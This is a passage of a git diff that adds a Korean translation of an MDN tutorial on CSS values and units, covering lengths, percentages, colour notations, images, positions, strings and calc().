+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/values_and_units/index.html b/files/ko/learn/css/building_blocks/values_and_units/index.html
new file mode 100644
index 0000000000..e4f8ab52b4
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/values_and_units/index.html
@@ -0,0 +1,388 @@
+---
+title: CSS 값 과 단위
+slug: Learn/CSS/Building_blocks/Values_and_units
+translation_of: Learn/CSS/Building_blocks/Values_and_units
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</div>
+
+<p>CSS 에 사용된 모든 속성에는 해당 속성에 허용되는 값 이 있으며, MDN 의 속성 페이지를 보면 특성 속성에 유효한 값을 이해하는 데 도움이 됩니다. 이 레슨에서는 가장 일반적인 값 과 사용 단위를 살펴 보겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 속성에 사용되는 다양한 유형의 값과 단위에 대해 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS_값이란_무엇인가">CSS 값이란 무엇인가?</h2>
+
+<p>CSS 사양과 MDN 의 속성 페이지에서 <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> 또는 <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>. 와 같이 꺽쇠 괄호로 묶여 있는 값을 찾을 수 있습니다. <code>&lt;color&gt;</code> 값이 특정 속성에 유효한 것으로 표시되면, <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> 참조 페이지에 나열된대로 유효한 속성을 해당 속성의 값으로 사용할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: CSS 값을 <em>데이터 유형 </em>이라고 합니다. 용어는 기본적으로 상호 교환이 가능합니다 — CSS 에서 데이터 유형이라고 하는것을 볼 때, 실제로 가치를 말하는 멋진 방법입니다.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 예, CSS 값은 CSS 속성과 구별하기 위해, 꺽쇠 괄호를 사용하여 표시되는 경향이 있습니다 (예: {{cssxref("color")}} 속성, <a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a> 데이터 형식). CSS 데이터 형식과 HTML 요소도 꺽쇠 괄호를 사용하므로 혼동될 수 있지만, 이는 매우 다른 상황에서 사용됩니다.</p>
+</div>
+
+<p>다음 예제에서는 키워드를 사용하여 머리글의 색상을 설정하고, <code>rgb()</code> 함수를 사용하여 배경을 설정했습니다:</p>
+
+<pre class="brush: css"><code>h1 {
+  color: black;
+  background-color: rgb(197,93,161);
+} </code>
+</pre>
+
+<p>CSS 값은 허용가능한 하위값 모음을 정의하는 방법입니다. 즉, <code>&lt;color&gt;</code> 가 유효한 것으로 표시되면 — 키워드, 16진수 값, <code>rgb()</code> 함수 등 어떤 색상값을 사용할 수 있는지 궁금할 필요가 없습니다. 사용 가능한 <code>&lt;color&gt;</code> 값은 브라우저에서 지원한다고 가정합니다. 각 값에 대한 MDN 페이지는 브라우저 지원에 대한 정보를 제공합니다. 예를 들어 <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> 페이지를 보면 브라우저 호환성 섹션에 다양한 색상값 유형과 지원이 나열되어 있습니다.</p>
+
+<p>여러가지 가능한 값을 시험해 볼 수 있도록 예를 들어 자주 접할 수 있는 몇 가지 유형의 값과 단위를 살펴보겠습니다.</p>
+
+<h2 id="숫자_길이_및_백분율">숫자, 길이 및 백분율</h2>
+
+<p>CSS 에서 사용할 수 있는 다양한 숫자 데이터 형식이 있습니다. 다음은 모두 숫자로 분류됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">데이터 형식</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/integer">&lt;integer&gt;</a></code></td>
+   <td><code>&lt;integer&gt;</code> 은 <code>1024</code> 또는<code>-55</code> 와 같은 정수입니다.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/number">&lt;number&gt;</a></code></td>
+   <td><code>&lt;number&gt;</code> 는 10진수를 나타냅니다 — 소수점 이하의 소수 자릿수 (예: <code>0.255</code>, <code>128</code> 또는 <code>-1.2</code>) 가 있을 수도 있고 없을 수도 있습니다.</td>
+  </tr>
+  <tr>
+   <td><code>&lt;dimension&gt;</code></td>
+   <td><code>&lt;dimension&gt;</code> 은 예를 들어 <code>45deg</code>, <code>5s</code> 또는 <code>10px</code>. 과 같은 단위가 붙어있는 <code>&lt;number&gt;</code> 입니다. <code>&lt;dimension&gt;</code> 은 <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>, <code><a href="/en-US/docs/Web/CSS/angle">&lt;angle&gt;</a></code>, <code><a href="/en-US/docs/Web/CSS/time">&lt;time&gt;</a></code> 및 <code><a href="/en-US/docs/Web/CSS/resolution">&lt;resolution&gt;</a></code> 의 종류를 포함하는 카테고리입니다<a href="/en-US/docs/Web/CSS/resolution">.</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/percentage">&lt;percentage&gt;</a></code></td>
+   <td><code>&lt;percentage&gt;</code> 는 다른 값의 일부, 예를 들어 <code>50%</code> 를 나타냅니다. 백분율 값은 항상 다른 수량을 기준으로 합니다. 예를 들어 요소의 길이는 부모 요소의 길이를 기준으로 합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="길이">길이</h3>
+
+<p>가장 자주 사용되는 숫자 형식은 <code>&lt;length&gt;</code> 입니다. 예를 들면 <code>10px</code> (픽셀) 또는<code>30em</code>. CSS 에서 사용되는 길이는 — 상대 및 절대의 두 가지 유형이 있습니다. 얼마나 커질지 알기 위해서는 차이를 이해하는 것이 중요합니다.</p>
+
+<h4 id="절대_길이_단위">절대 길이 단위</h4>
+
+<p>다음은 모두 <strong>절대</strong> 길이 단위이며 — 다른 것과 관련이 없으며 일반적으로 항상 동일한 크기로 간주됩니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">이름</th>
+   <th scope="col">다음과 동일함</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cm</code></td>
+   <td>센티미터</td>
+   <td>1cm = 96px/2.54</td>
+  </tr>
+  <tr>
+   <td><code>mm</code></td>
+   <td>밀리미터</td>
+   <td>1mm = 1/10th of 1cm</td>
+  </tr>
+  <tr>
+   <td><code>Q</code></td>
+   <td>4분의 1 밀리미터</td>
+   <td>1Q = 1/40th of 1cm</td>
+  </tr>
+  <tr>
+   <td><code>in</code></td>
+   <td>인치</td>
+   <td>1in = 2.54cm = 96px</td>
+  </tr>
+  <tr>
+   <td><code>pc</code></td>
+   <td>Picas</td>
+   <td>1pc = 1/16th of 1in</td>
+  </tr>
+  <tr>
+   <td><code>pt</code></td>
+   <td>포인트</td>
+   <td>1pt = 1/72th of 1in</td>
+  </tr>
+  <tr>
+   <td><code>px</code></td>
+   <td>픽셀</td>
+   <td>1px = 1/96th of 1in</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이러한 값의 대부분은 화면 출력이 아닌 인쇄에 사용될 때 더 유용합니다. 예를 들어 일반적으로 화면에 <code>cm</code> (센티미터) 를 사용하지 않습니다. 보통 사용하는 유일한 값은 <code>px</code> (픽셀) 입니다.</p>
+
+<h4 id="상대_길이_단위">상대 길이 단위</h4>
+
+<p>상대 길이 단위는 다른 요소 (상위 요소의 글꼴 크기 또는 viewport 크기) 와 관련이 있습니다. 상대 단위를 사용하면 텍스트나 다른 요소의 크기가 페이지의 다른 모든 것에 비례하여 조정되도록 신중하게 계획할 수 있다는 이점이 있습니다. 웹 개발에 가장 유용한 단위가 아래 표에 나열되어 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">관련 사항</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>em</code></td>
+   <td>요소의 글꼴 크기.</td>
+  </tr>
+  <tr>
+   <td><code>ex</code></td>
+   <td>요소 글꼴의 x-height.</td>
+  </tr>
+  <tr>
+   <td><code>ch</code></td>
+   <td>요소 글꼴의 glyph "0" 의 사전 길이 (너비) 입니다.</td>
+  </tr>
+  <tr>
+   <td><code>rem</code></td>
+   <td>루트 요소의 글꼴 크기.</td>
+  </tr>
+  <tr>
+   <td><code>lh</code></td>
+   <td>요소의 라인 높이.</td>
+  </tr>
+  <tr>
+   <td><code>vw</code></td>
+   <td>viewport 너비의 1%.</td>
+  </tr>
+  <tr>
+   <td><code>vh</code></td>
+   <td>viewport 높이의 1%.</td>
+  </tr>
+  <tr>
+   <td><code>vmin</code></td>
+   <td>viewport 의 작은 치수의 1%.</td>
+  </tr>
+  <tr>
+   <td><code>vmax</code></td>
+   <td>viewport 의 큰 치수의 1%.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="예제_살펴보기">예제 살펴보기</h4>
+
+<p>아래 예에서 일부 상대 및 절대 길이 단위의 동작을 확인할 수 있습니다. 첫 번째 박스에는 {{cssxref("width")}} 픽셀 단위로 설정되어 있습니다. 절대 단위로서 이 너비는 다른 사항에 관계없이 동일하게 유지됩니다.</p>
+
+<p>두 번째 박스의 너비는 <code>vw</code> (viewport 너비) 단위로 설정됩니다. 이 값은 viewport 너비를 기준으로 하므로, 10vw 는 viewport 너비의 10% 입니다. 브라우저 창의 너비를 변경하면, 박스의 크기가 변경되지만, 이 예제는 <code><a href="/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code> 을 사용하여 페이지에 포함되므로 작동하지 않습니다. 이 기능을 실제로 보려면 <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">브라우저 탭에서 예제를 연 후 에 시도</a> 해야 합니다.</p>
+
+<p>세 번째 박스는 <code>em</code> 단위를 사용합니다. 글꼴 크기에 상대적입니다. <code>.wrapper</code> class 를 포함하는 {{htmlelement("div")}} 를 포함하여 글꼴 크기를 <code>1em</code> 으로 설정했습니다. 이 값을 <code>1.5em</code> 으로 변경하면 모든 요소의 글꼴 크기가 증가하지만, 너비가 해당 글꼴 크기에 비례하므로 마지막 항목만 넓어집니다.</p>
+
+<p>위의 지침을 따른 후 다른 방법으로 값을 실습하여 얻은 것을 확인하십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}</p>
+
+<h4 id="ems_및_rems">ems 및 rems</h4>
+
+<p><code>em</code> 과 <code>rem</code> 은 박스에서 텍스트로 크기를 조정할 때 가장 자주 발생하는 두 개의 상대 길이입니다. <a href="/en-US/docs/Learn/CSS/Styling_text">텍스트 스타일링</a> 또는 <a href="/en-US/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a> 과 같은 보다 복잡한 주제를 시작할 때, 이러한 작동 방식과 차이점을 이해하는 것이 좋습니다. 아래 예제는 데모를 제공합니다.</p>
+
+<p>HTML 은 중첩된 목록의 집합니다 — 총 3개의 목록이 있으며 두 예제 모두 동일한 HTML 을 갖습니다. 유일한 차이점은 첫 번째는 <strong><em>ems</em></strong> class 이고 두 번째는 <strong><em>rems</em></strong> class 입니다.</p>
+
+<p>먼저, <code>&lt;html&gt;</code> 요소에서 글꼴 크기로 16px 를 설정합니다.</p>
+
+<p><strong>다시 말해서, em 단위는 "부모 요소의 글꼴 크기" 를 의미합니다</strong>. <code>ems</code> <code>class</code> 가 있는 {{htmlelement("ul")}} 내부의 {{htmlelement("li")}} 요소는 부모로부터 크기를 가져옵니다. 따라서 각 중첩 부분은 글꼴 크기가 부모 글꼴 크기의 <code>1.3em</code> — 1.3 배로 설정되므로 점점 더 커집니다.</p>
+
+<p><strong>다시 말해서, rem 단위는 "루트 요소의 글꼴 크기" 를 의미합니다</strong>. ("root em" 의 rem 표준입니다.) <code>rems</code> <code>class</code> 가 있는 {{htmlelement("ul")}} 내부의 {{htmlelement("li")}} 요소는 루트 요소는 (<code>&lt;html&gt;</code>) 에서 크기를 가져옵니다. 이것은 각각의 연속적인 중첩 부분이 계속 커지는 것을 의미합니다.</p>
+
+<p>그러나, CSS 에서 <code>&lt;html&gt;</code> <code>font-size</code> 를 변경하면 다른 모든 텍스트가 변경되는 것을 볼 수 있습니다 — <code>rem</code>- 및 <code>em</code>-크기 텍스트.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} </p>
+
+<h3 id="백분율">백분율</h3>
+
+<p>많은 경우 백분율은 길이와 같은 방식으로 처리됩니다. 백분율이 있는 것은 항상 다른 값에 상대적으로 설정된다는 것입니다. 예를 들어, 요소의 <code>font-size</code> 를 백분율로 설정하면요소 무보의 글꼴 크기에 대한 백분율이 됩니다. <code>width</code> 값에 백분율을 사용하면, 부모 너비의 백분율이 됩니다.</p>
+
+<p>아래 예제에서 두 개의 백분율 크기 박스와 두 개의 픽셀 크기 박스는 동일한 class 이름을 갖습니다. 두 세트의 너비는 각각 200px 및 40% 입니다.</p>
+
+<p>차이점은 두 박스의 두 번째 세트가 너비가 400 픽셀 안에 있다는 것입니다. 두 번째 200px 너비의 박스는 첫 번째 너비와 동일한 너비이지만, 두 번째 40% 박스는 이제 400px 의 40% 이므로 — 첫 번째 박스보다 훨씬 좁습니다!</p>
+
+<p><strong>너비 또는 백분율 값을 변경하여 작동 방식을 확인합니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p>
+
+<p>다음 예제에서는 글꼴 크기가 백분율로 설정되어 있습니다. 각 <code>&lt;li&gt;</code> 의 <code>font-size</code> 는 80% 이므로, 중첩된 목록 항목은 부모로부터 크기를 상속함에 따라 점차 작아집니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} </p>
+
+<p>많은 값이 길이 또는 백분율을 허용하지만, 길이만 허용하는 값도 있습니다. MDN 속성 참조 페이지에서 어떤 값이 허용되는지 확인할 수 있습니다. 허용된 값에 <code><a href="/en-US/docs/Web/CSS/length-percentage">&lt;length-percentage&gt;</a></code> 가 포함된 경우 길이 또는 백분율을 사용할 수 있습니다. 허용된 값에 <code>&lt;length&gt;</code> 만 포함된 경우, 백분율을 사용할 수 없습니다.</p>
+
+<h3 id="숫자">숫자</h3>
+
+<p>일부 값은 단위를 추가하지 않고 숫자를 허용합니다. 단위가 없는 숫자를 허용하는 속성의 예는 요소의 불투명도 (투명한 정도) 를 제어하는 <code>opacity</code> 속성입니다. 이 속성은 <code>0</code> (완전 투명) 과 <code>1</code> (완전 불투명) 사이의 숫자를 허용합니다.</p>
+
+<p><strong>아래 예제에서, <code>opacity</code> 값을 <code>0</code> 과 <code>1</code> 사이의 다양한 10진수 값으로 변경하고 박스와 그 내용이 어떻게 붙투명하게 되는지 확인하십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} </p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: CSS 에서 숫자를 값으로 사용하는 경우 따옴표로 묶지 않아야합니다.</p>
+</div>
+
+<h2 id="색상">색상</h2>
+
+<p>CSS 에서 색상을 지정하는 방법은 여러가지가 있으며, 그 중 일부는 다른것 보다 최근에 구현되었습니다. 텍스트 색상, 배경 색상 등을 지정하든 상관없이 CSS 의 모든 위치에서 동일한 색상 값을 사용할 수 있습니다.</p>
+
+<p>최신 컴퓨터에서 사용할 수 있는 표준 색상 시스템은 24bit 이며, 채널당 256개의 서로 다른 값 (256 x 256 x 256 = 16,777,216.) 을 갖는 서로 다른 빨강, 녹색 및 파랑 채널의 조합을 통해 약 1670만개의  고유한 색상을 표시할 수 있습니다. CSS 에서 색상을 지정할 수 있는 몇 가지 방법을 살펴보겠습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 이 자습서에서는 브라우저 지원 기능이 우수한 색상을 지정하는 일반적인 방법을 살펴봅니다. 다른 것도 있지만, 지원 기능이 뛰어나지 않고 덜 일반적입니다.</p>
+</div>
+
+<h3 id="색상_키워드">색상 키워드</h3>
+
+<p>여기의 학습 섹션이나 MDN 의 다른 예에서 색상 키워드를 지정하는 간단하고 이해하기 쉬운 방법인 색상 키워드를 볼 수 있습니다. 이 키워드에는 여러가지가 있으며 그중 일부는 상당히 재미있는 이름을 가지고 있습니다! <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> 값에 대한 전체 목록을 페이지에서 볼 수 있습니다.</p>
+
+<p><strong>아래의 라이브 예제에서 다른 색상 값을 사용하여 작동하는 방법에 대한 아이디어를 얻으십시오.</strong></p>
+
+<h3 id="16진수_RGB_값">16진수 RGB 값</h3>
+
+<p>다음 형식의 색상 값은 16진수 코드입니다. 각 16진수 값은 hash/pound 기호 (#) 와 6개의 16진수로 구성되며, 각 16진수는 0 과 f (15를 나타냄) 사이의 16개 값 중 하나를 사용할 수 있으므로 — <code>0123456789abcdef</code> 입니다. 각 값 쌍은 채널 중 하나 — 빨강, 녹색 및 파랑 — 을 나타내며 각각에 대해 256개의 사용 가능한 값 (16 x 16 = 256) 을 지정할 수 있습니다.</p>
+
+<p>이 값은 좀 더 복잡하고 이해하기 쉽지 않지만 기워드보다 훨씬 더 다양합니다 — 16진수 값을 사용하여 색상표에 사용하려는 색상을 나타낼 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} </p>
+
+<p><strong>다시 한 번, 값을 변경하여 색상이 어떻게 다른지 확인하십시오. </strong></p>
+
+<h3 id="RGB_및_RGBA_값">RGB 및 RGBA 값</h3>
+
+<p>여기서 이야기 할 세 번째 방식은 RGB 입니다. RGB 값은 — <code>rgb()</code> 함수입니다 — 이 값은 16진수 값과 거의 같은 방식으로 색상의 빨강, 녹색 및 파랑 채널 값을 나타내는 세 개의 매개 변수가 제공됩니다. RGB 와의 차이점은 각 채널이 2개의 16진수가 아니라 0 과 255 사이의 10진수로 표현되어 — 다소 이해하기 쉽다는 것입니다.</p>
+
+<p>Let's rewrite our last example to use RGB colors:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p>
+
+<p>RGBA 색상을 사용할 수도 있습니다 — 이 색상은 RGB 색상과 정확히 같은 방식으로 작동하므로 RGB 값을 사용할 수 있지만, 색상의 알파 채널을 나타내는 네 번째 값이 있어 불투명도 (opacity) 를 제어합니다. 이 값을 <code>0</code> 으로 설정하면 색상이 완전히 투명해지는 반면, <code>1</code> 이면 완전히 불투명하게 됩니다. 그 사이의 값은 다른 수준의 투명성을 제공합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 색상에 알파 채널을 설정하면 앞에서 살펴본 {{cssxref("opacity")}} 속성을 사용하는 것과 한 가지 중요한 차이점이 있습니다. 불투명도를 사용하면 요소와 그 안에 있는 모든 것을 불투명하게 만드는 반면, RGBA 색상을 사용하면 불투명하게 지정한 색상만 만들어집니다.</p>
+</div>
+
+<p>아래 예제에서 나는 색상 박스가 포함된 블록에 배경 이미지를 추가했습니다. 그런 다음 박스에 다른 불투명도 값을 갖도록 설정했습니다 — 알파 채널 값이 작을 때 배경이 더 잘 나타나는지 확인하십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}</p>
+
+<p><strong>이 예에서는, 알파 채널 값을 변경하여 색상 출력에 어떤 영향을 미치는지 확인하십시오. </strong></p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 어떤 시점에서 최신 브라우저는 <code>rgba()</code> 와 <code>rgb()</code> 및 <code>hsl()</code> 과 <code>hsla()</code> (아래 참조) 가 서로의 순수 별칭이 되어 정확히 동일한 동작을 시작하도록 업데이트 되었습니다. 예를 들어<code>rgba()</code> 및 <code>rgb()</code> 는 모두 알파 채널 값이 있거나 없는 색상을 허용합니다. 위 예제의 <code>rgba()</code> 함수를 <code>rgb()</code> 로 변경하고 색상이 여전히 작동하는지 확인하십시오! 어떤 스타일을 사용하느냐에 따라 다르지만, 다른 기능을 사용하기 위해 불투명과 투명한 색상 정의를 분리하면 브라우저 지원이 약간 향상되고 코드에서 투명 색상이 정의되는 위치를 시각적으로 표시할 수 있습니다.</p>
+</div>
+
+<h3 id="HSL_및_HSLA_값">HSL 및 HSLA 값</h3>
+
+<p>RGB 보다 약간 덜 지원되는 HSL 색상은 (이전 버전의 IE 에서는 지원되지 않음) 디자이너의 관심을 끈 후에 구현되었습니다. <code>hsl()</code> 함수는 빨강, 녹색 및 파랑 값 대신 색조 (hue), 채도 (saturation) 및 명도(lightness) 값을 받아들입니다. 이 값은 1670만 가지 색상을 구별하는 데 사용되지만 다른 방식으로 사용됩니다.</p>
+
+<ul>
+ <li><strong>색조 (Hue)</strong>: 색상의 기본 음영입니다. 0 에서 360 사이의 값을 사용합니다.</li>
+ <li><strong>채도 (Saturation)</strong>: 색상이 얼마나 포함되어 있습니까? 0–100% 사이의 값을 취합니다. 여기서 0은 색상이 없고 (회색 음영으로 표시됨), 100% 는 전체 색상 채도입니다.</li>
+ <li><strong>명도 (Lightness)</strong>: 색상이 얼마나 밝습니까? 0–100% 의 값을 받습니다. 여기서 0은 빛이 없고 (완전히 검은색으로 표시됨), 100% 는 완전한 빛 (완전히 흰색으로 표시됨) 입니다.</li>
+</ul>
+
+<p>다음과 같이 HSL 색상을 사용하도록 RGB 예제를 업데이트 할 수 있습니다:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} </p>
+
+<p>RGB 에 RGBA 가 있는 것처럼, HSL 에는 HSLA 에 상응하는 것이 있으므로, 알파 채널을 지정할 수 있는 동일한 기능을 제공합니다. HSLA 색상을 사용하도록 RGBA 예제를 변경하여 아래에서 이것을 시연했습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} </p>
+
+<p>여러분의 프로젝트에서 이러한 색상 값을 사용할 수 있습니다. 대부분의 프로젝트에서 색상 팔레트를 결정한 다음 전체 프로젝트에서 해당 색상 — 선택한 색상 지정 방법 — 을 사용합니다. 색상 모델을 혼합하고 일치시킬 수 있지만, 일관성을 유지하려면 전체 프로젝트에서 동일한 모델을 사용하는 것이 가장 좋습니다!</p>
+
+<h2 id="이미지">이미지</h2>
+
+<p><code><a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a></code> 데이터 형식은 이미지가 유효한 값인 경우 사용됩니다. 이것은 <code>url()</code> 함수 또는 gradient 를 통해 가리키는 실제 이미지 파일일 수 있습니다.</p>
+
+<p>아래 예제에서 CSS <code>background-image</code> 속성의 값으로 사용되는 이미지와 gradient 를 보여주었습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} </p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>&lt;image&gt;</code> 에 대해 가능한 다른 값이 있지만 이 값은 최신이며 최신 브라우저 지원이 좋지 않습니다. &lt;image&gt; 데이터 형식을 읽으려면 MDN 페이지에서 <code><a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a></code> 데이터 형식을 확인하십시오.</p>
+</div>
+
+<h2 id="위치_Position">위치 (Position)</h2>
+
+<p><code><a href="/en-US/docs/Web/CSS/position_value">&lt;position&gt;</a></code> 데이터 형식은 배경 이미지 (<code><a href="/en-US/docs/Web/CSS/background-position">background-position</a></code> 를 통해) 와 같은 항목을 배치하는 데 사용되는 2D 좌표를 나타냅니다. <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code> 및 <code>center</code> 와 같은 키워드를 사용하여 항목을 2D 박스의 특정 범위에 맞춰 길이와 함께 박스의 위쪽 및 왼쪽 가장자리에서 offset 을 나타냅니다.</p>
+
+<p>일반적인 position 값은 두 가지 값으로 구성됩니다 — 첫 번째는 위치를 가로로 설정하고, 두 번째는 세로로 설정합니다. 한 축의 값만 지정하면 다른 축은 <code>center</code> 으로 설정됩니다.</p>
+
+<p>다음 예제에서는 키워드를 사용하여 container 의 위쪽과 오른쪽에서 40px 의 배경 이미지를 배치했습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} </p>
+
+<p><strong>이 값을 가지고 놀면서 이미지를 어떻게 밀어낼 수 있는지 확인하십시오.</strong></p>
+
+<h2 id="문자열_및_식별자_identifiers">문자열 및 식별자 (identifiers)</h2>
+
+<p>위의 예에서, 키워드가 값으로 (예: <code>red</code>, <code>black</code>, <code>rebeccapurple</code> 및 <code>goldenrod</code>, 와 같은 <code>&lt;color&gt;</code> 키워드) 사용되는 위치를 확인했습니다. 이러한 키워드는 CSS 가 이해하는 특수한 값인 <strong><em>식별자 (identifiers) </em></strong>로, 보다 정확하게 설명됩니다. 따라서 인용되지 않으며 — 문자열로 취급되지 않습니다.</p>
+
+<p>CSS 에서 문자열을 사용하는 장소가 있습니다. 예를 들면, <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#Generating_content_with_before_and_after">생성된 콘텐츠를 지정할 때</a>. 이 경우 값은 문자열임을 보여주기 위해 인용됩니다. 아래 예제에서는 인용되지 않은 색상 키워드와 인용된 생성된 콘텐츠 문자열을 사용합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} </p>
+
+<h2 id="함수_Functions">함수 (Functions)</h2>
+
+<p>우리가 살펴볼 마지막 값의 형식은 함수로 알려진 값의 그룹입니다. 프로그래밍에서 함수는 개발자와 컴퓨터 모두에서 최소한의 노력으로 반복적인 작업을 완료하기 위해 여러번 실행할 수 있는 재사용 가능한 코드 섹션입니다. 함수는 일반적으로 JavaScript, Python 또는 C++ 과 같은 언어와 관련이 있지만, 속성 값으로 CSS 에도 존재합니다 — <code>rgb()</code>, <code>hsl()</code> 등의 색상 섹션에서 작동하는 함수를 이미 보았습니다. 파일에서 이미지를 반환하는 데 사용되는 값인 — <code>url()</code> — 도 함수입니다.</p>
+
+<p>전통적인 프로그래밍 언어에서 찾아볼 수 있는 것과 비슷한 값은 <code>calc()</code> CSS 함수입니다. 이 함수를 사요하면 CSS 내에서 간단한 계산을 수행할 수 있습니다. 프로젝트의 CSS 를 작성할 때 정의할 수 없는 값을 계산하고 런타임에 브라우저가 작동해야하는 경우 특히 유용합니다.</p>
+
+<p>예를 들어, 아래에서는 <code>calc()</code> 를 사용하여 박스를 <code>20% + 100px</code> 너비로 만듭니다. 20% 는 부모 container <code>.wrapper</code> 의 너비에서 계산되므로 너비가 변경되면 변경됩니다. 우리는 부모 요소의 20% 가 무엇인지 알지 못하기 때문에, 이 계산을 미리 수행할 수 없으므로 <code>calc()</code> 를 사용하여 브라우저에 지시합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이것은 가장 일반적인 형식의 값과 단위를 빠르게 살펴 보았습니다. <a href="/en-US/docs/Web/CSS/CSS_Values_and_Units">CSS 값 및 단위</a> 참조 페이지에서 다양한 유형을 모두 볼 수 있습니다. 이 수업을 진행하면서 사용중인 많은 것들을 보게 될 것입니다.</p>
+
+<p>기억해야 할 중요한 점은 각 속성에 정의된 값 목록이 있고 각 값에는 하위 값이 무엇인지 설명하는 정의가 있다는 것입니다. 그런 다음 MDN 에서 세부 사항을 찾을 수 있습니다.</p>
+
+<p>예를 들어, <code><a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a></code> 를 사용하면 색상 gradient 를 만들 수 있다는 점을 이해하면 유용하지만 명백하지 않은 지식이 있을 수 있습니다!</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
